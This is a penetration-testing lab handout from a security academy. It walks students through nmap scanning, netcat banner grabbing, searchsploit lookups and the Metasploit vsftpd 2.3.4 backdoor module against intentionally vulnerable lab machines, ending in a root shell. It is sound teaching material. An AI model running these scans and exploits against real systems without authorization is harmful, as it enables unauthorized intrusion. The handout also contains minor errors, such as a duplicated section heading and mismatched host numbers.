EVOLVE
Security Academy

Cyberstorm

Overview

Company Cyberstorm LLC has contracted Sobol Security (that's you!) to perform a Penetration Test. As Cyberstorm is a secretive startup focused in Artificial Intelligence, there is no public information on them, and they have no human employees.

Sobol Security has met with their contact at Cyberstorm and agreed that Sobol will test three boxes on their internal network. Everything within the three IPs of those servers is in scope; however, an additional box on the same network that is out of scope as this box holds the AI's backups.

All machines have a number associated with them. This number indicates the final octet of their IP. For instance, Kali 6 has an IP of 10.7.7.6 while Target 12 has an IP of 10.7.7.12.

Lab Goals

Participants will become more familiar with nmap, netcat, searchsploit, and metasploit. If you are already familiar with these tools, feel free to use the lab environment to experiment with other tools that interest you.

Lab Instructions

This lab was originally performed from within a shared environment. The specific target machines used in this lab (Metasploitable2 and Metasploitable3) can be found at the following urls:

Metasploitable2: https://information.rapid7.com/metasploitable-download.html
Metasploitable3: https://github.com/rapid7/metasploitable3

Other machines present in the shared environment can be found at:

Mr Robot: https://www.vulnhub.com/entry/mr-robot-1,151/
Pwnlab: https://www.vulnhub.com/entry/pwnlab-init,158/

Part 1: Connecting to Kali (if not running locally in virtualbox):

1. Ensure that you have an SSH client. OSX or Linux have an SSH client by default. If running Windows, please download Putty. If using Windows and Putty, your workflow may be slightly different and will involve opening up the putty app and filling in the IP and Port (22) manually.

2. Open a terminal and SSH into Kali 11 with User: "root" and Password "toor" (Mac/Linux)

```
$ ssh root@10.7.7.6
```

Part 2: Run an nmap scan on one of the targets (Target 12 used here):

1. Run a SYN scan against Target 12. SYN scan will typically be the default scan run if we omitted to "-sS" option. However, it is better to be explicit when starting out so you avoid relying on default behavior.

```
$ nmap –sS 10.7.7.12
```

2. What ports are open? What services typically run on these ports?

3. Try to determine the system running on Target 12

```
$ nmap –O 10.7.7.12
```

4. Was nmap able to determine the system and version? Does this system have any known vulnerabilities (Hint: google may provide some information)?

5. Run a targeted full TCP scan against a few specific ports. (TCP scans are typically slower than SYN scans which is why we limit the ports to 21,22, and 80 using the "-p" option)

```
$ nmap –sT –p 21,22,80 10.7.7.12
# or run it on a range of ports
$ nmap –sT –p 1-30 10.7.7.12
```

6. Enumerate the services on the network

```
$ nmap –sV 10.7.7.12
```

7. What services are running? Do these services match what you expected? Did you get the version number?

8. Run the same scan, but this time save your output

```
$ nmap –sV –oN myoutput.nmap 10.7.7.12
```

Note: You can save output in different formats. Check the man page for info ("man nmap")

9. Run nmap's default scripts

```
$ nmap –sC 10.7.7.12
```

10. Default scripts are scripts nmap considers safe. How would we specify a single script?

11. We've only checked for services using the TCP protocol. Check for services running UDP (Note: UDP scans take longer and are less reliable. Try targeting a few well know UDP ports for a faster scan).

```
$ nmap –sU –p 53,123,139,162 10.7.7.12
```

Part 3: Directly connect to some services:

1. Try establishing some direct connections to these ports using netcat. This could provide us with some additional information about the service that may or may not have been included in nmap.

2. Grab the SSH Banner.

```
$ nc 10.7.7.12 22
```

3. Connect Directly to FTP

```
$ nc 10.7.7.12 21
220 (vsFTPd 2.3.4)
HELP
530 Please login with USER and PASS.
```

4. Bonus: Attempt to directly authenticate to FTP using the USER and PASS commands. You will probably get access denied but may not if you researched FTP.

Part 4: Researching Services and Finding Exploits:

1. You now have a list of enumerated services and have tried to establish some direct connections to get some more information about what is actually running. Types of services and the versions they are running can be very valuable pieces of information in exploiting a system.

2. Search the web for some common exploits for the services and versions you've found.

3. Use searchsploit (exploitdb) to see if you have any exploits on your machine already.

```
$ searchsploit vsftp
---------------|-------------------------------------
Exploit Title   Path (/usr/share/exploitd/platforms)
---------------|-------------------------------------
Awesome Exploit| /path/to/exploit.py
```

4. The exploits listed have corresponding files on your computer. The root exploit file is listed on the first line (/usr/share/exploitd/platforms). The specific file path for the exploit is relative to the root path.

5. Given the above line, if I wanted to copy the exploit to my current directory I would do "$ cp /usr/share/exploitd/platforms/path/to/exploit.py ~/myname/exploit.py"

6. Exploits from searchsploit (exploitdb) can come in many different formats (they can also be downloaded from https://www.exploit-db.com/). The exploits could be python files, ruby files (which often indicates a Metasploit module that can be used Metasploit), c files that need to be compiled, or simply text files that describe an exploit.

7. A basic knowledge of programming will be great for using these exploits as they often need to be modified for a specific use case.

8. Bonus: Try to find an exploit for one of the services and run it. **Make sure you read about exploit before using it** either on http://exploit-db.com or by using the "$ cat filename" command. Scripts are no match for a solid understanding of vulnerabilities and services.

Part 4: Researching Services and Finding Exploits:

1. Metasploitable2 and Metasploitable3 are intentionally created to help practice using the Metasploit framework.

2. Start the Metasploit console (If many people are using the MSF console on a shared instance, it may run very slow. It may be best to partner up and help each other.)

```
$ msfconsole
```

3. Ask Metasploit for help

```
msf> help
```

4. Search for an exploit related to a service you have found.

```
msf> search vsftp
```

5. After performing some research about the Metasploit module, tell Metasploit that we are going to use the exploit you found.

```
msf > use /exploit/unix/vsftpd_234_backdoor
```

6. Provide Metasploit with configuration it needs. It this case it needs the RHOST (remote host).

```
msf (exploit name) > info

...
msf (exploit name) > set RHOST 10.7.7.12
```

7. Run the exploit. It may or may not work.

```
msf> run
…
…
[+] Found shell
[+] Command shell opened

whoami
root
```

8. Metasploit is a very useful tool. It is perfect for learning penetration testing. However, if you do not put in the work to research these exploits, vulnerabilities and services which they affect, you will quickly hit a wall. Do your best to carefully consider every action you take and make an effort to understand the fundamentals behind why each action may be necessary.

Part 5: Conclusion:

Hopefully you learned something by completing this lab. Happy pentesting!